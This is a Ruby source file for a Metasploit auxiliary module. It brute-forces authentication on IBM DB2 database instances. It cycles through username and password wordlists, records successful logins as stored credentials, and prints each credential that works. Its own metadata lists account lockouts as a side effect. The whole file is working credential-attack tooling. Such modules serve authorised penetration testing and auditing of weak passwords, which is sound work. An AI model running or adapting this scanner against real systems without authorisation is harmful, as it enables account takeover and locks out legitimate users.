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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'metasploit/framework/credential_collection'
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require 'metasploit/framework/login_scanner/db2'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::DB2
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  include Msf::Auxiliary::AuthBrute
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::Report
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  def initialize
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    super(
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      'Name' => 'DB2 Authentication Brute Force Utility',
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      'Description' => %q{
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        This module attempts to authenticate against a DB2 instance
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        using username and password combinations indicated by the
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        USER_FILE, PASS_FILE, and USERPASS_FILE options.
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      },
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      'Author' => ['todb'],
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      'References' => [
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        [ 'CVE', '1999-0502'] # Weak password
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      ],
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      'License' => MSF_LICENSE,
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      'Notes' => {
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        'Stability' => [CRASH_SAFE],
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        'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
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        'Reliability' => []
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      }
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    )
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    register_options(
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      [
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        Opt::Proxies,
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        OptPath.new('USERPASS_FILE', [
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          false, 'File containing (space-separated) users and passwords, one pair per line',
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          File.join(Msf::Config.data_directory, 'wordlists', 'db2_default_userpass.txt')
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        ]),
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        OptPath.new('USER_FILE', [
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          false, 'File containing users, one per line',
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          File.join(Msf::Config.data_directory, 'wordlists', 'db2_default_user.txt')
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        ]),
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        OptPath.new('PASS_FILE', [
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          false, 'File containing passwords, one per line',
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          File.join(Msf::Config.data_directory, 'wordlists', 'db2_default_pass.txt')
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        ]),
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      ]
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    )
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  end
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  def run_host(ip)
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    cred_collection = build_credential_collection(
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      realm: datastore['DATABASE'],
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      username: datastore['USERNAME'],
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      password: datastore['PASSWORD']
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    )
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    scanner = Metasploit::Framework::LoginScanner::DB2.new(
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      configure_login_scanner(
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        host: ip,
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        port: rport,
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        proxies: datastore['PROXIES'],
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        cred_details: cred_collection,
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        stop_on_success: datastore['STOP_ON_SUCCESS'],
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        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
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        connection_timeout: 30,
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        max_send_size: datastore['TCP::max_send_size'],
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        send_delay: datastore['TCP::send_delay'],
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        framework: framework,
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        framework_module: self,
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        ssl: datastore['SSL'],
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        ssl_version: datastore['SSLVersion'],
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        ssl_verify_mode: datastore['SSLVerifyMode'],
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        ssl_cipher: datastore['SSLCipher'],
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        local_port: datastore['CPORT'],
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        local_host: datastore['CHOST']
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      )
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    )
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    scanner.scan! do |result|
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      credential_data = result.to_h
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      credential_data.merge!(
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        module_fullname: fullname,
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        workspace_id: myworkspace_id
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      )
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      if result.success?
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        credential_core = create_credential(credential_data)
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        credential_data[:core] = credential_core
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        create_credential_login(credential_data)
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        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
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      else
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        invalidate_login(credential_data)
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        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
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      end
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    end
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  end
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end
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